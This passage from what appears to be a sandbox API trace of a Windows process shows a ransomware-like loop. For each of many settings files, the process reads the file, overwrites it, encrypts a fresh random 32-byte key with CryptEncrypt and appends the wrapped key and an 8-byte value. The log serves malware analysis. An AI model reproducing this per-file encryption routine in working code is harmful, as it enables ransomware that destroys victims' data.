(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{5BB16858-F647-465E-BCFD-010EE9DD41B7}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.504] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3dc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3dc, lpOverlapped=0x0) returned 1 [0195.505] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-988, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.505] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3dc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3dc, lpOverlapped=0x0) returned 1 [0195.505] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3dc [0195.506] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.506] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.506] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.506] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.506] CloseHandle (hObject=0x1c24) returned 1 [0195.508] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0195.508] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.508] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{5A2C0E5E-5974-4E44-B4C6-AD4C2B6BAF53}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.508] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x42b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x42b, lpOverlapped=0x0) returned 1 [0195.509] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1067, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.509] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x42b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42b, lpOverlapped=0x0) returned 1 [0195.510] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42b [0195.510] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.510] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.510] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.510] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.511] CloseHandle (hObject=0x1c24) returned 1 [0195.512] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.512] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.512] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{5902614C-D9C7-4902-9F7F-BAF85454D0B2}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.512] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3c6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3c6, lpOverlapped=0x0) returned 1 [0195.513] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-966, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.514] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3c6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3c6, lpOverlapped=0x0) returned 1 [0195.514] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3c6 [0195.514] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.514] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.514] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.515] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.515] CloseHandle (hObject=0x1c24) returned 1 [0195.516] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.516] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0195.516] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{58e3c745-d971-4081-9034-86e34b30836a}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.516] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x444, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x444, lpOverlapped=0x0) returned 1 [0195.518] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1092, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.518] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x444, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x444, lpOverlapped=0x0) returned 1 [0195.518] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x444 [0195.518] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.518] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.518] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.519] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.519] CloseHandle (hObject=0x1c24) returned 1 [0195.520] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.520] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.521] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{5530E8CC-1B9E-4798-A880-BA719ADFBBBD}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.521] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x390, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x390, lpOverlapped=0x0) returned 1 [0195.535] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.535] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x390, lpOverlapped=0x0) returned 1 [0195.536] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x390 [0195.536] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.536] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.536] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.536] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.537] CloseHandle (hObject=0x1c24) returned 1 [0195.540] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.540] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0195.540] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{54D8069E-E75A-4437-B45B-8EB3B8C97434}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.541] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3f6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3f6, lpOverlapped=0x0) returned 1 [0195.549] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1014, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.549] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3f6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3f6, lpOverlapped=0x0) returned 1 [0195.550] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3f6 [0195.550] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.550] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.550] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.551] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.554] CloseHandle (hObject=0x1c24) returned 1 [0195.558] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0195.558] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0195.558] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{54692DB7-FC98-4D5E-AC15-CC5095FA5669}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.558] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x40c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x40c, lpOverlapped=0x0) returned 1 [0195.576] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1036, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.576] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x40c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x40c, lpOverlapped=0x0) returned 1 [0195.577] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x40c [0195.577] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.577] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.577] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.578] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.578] CloseHandle (hObject=0x1c24) returned 1 [0195.580] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0195.580] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.580] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{5163E94E-4C07-420B-B173-320232B8AFB7}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.580] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x487, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x487, lpOverlapped=0x0) returned 1 [0195.581] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1159, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.581] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x487, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x487, lpOverlapped=0x0) returned 1 [0195.582] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x487 [0195.582] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.582] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.582] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.582] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.583] CloseHandle (hObject=0x1c24) returned 1 [0195.584] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.584] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.584] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{50DF4F13-4188-49C3-B2FB-A76404DC0ACF}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.585] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3df, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3df, lpOverlapped=0x0) returned 1 [0195.586] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-991, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.586] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3df, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3df, lpOverlapped=0x0) returned 1 [0195.586] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3df [0195.586] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.586] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.587] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.587] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.587] CloseHandle (hObject=0x1c24) returned 1 [0195.589] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.589] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.589] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{4BCD16D0-BA72-4F0D-88F9-50D912BFA2B2}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.589] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x45c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x45c, lpOverlapped=0x0) returned 1 [0195.590] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1116, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.590] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x45c, lpOverlapped=0x0) returned 1 [0195.591] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x45c [0195.591] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.591] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.591] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.591] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.591] CloseHandle (hObject=0x1c24) returned 1 [0195.593] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.593] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.593] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{4A2F952E-0618-467F-ADC5-FEBB66AEB82F}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.593] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3c9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3c9, lpOverlapped=0x0) returned 1 [0195.594] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-969, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.594] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3c9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, 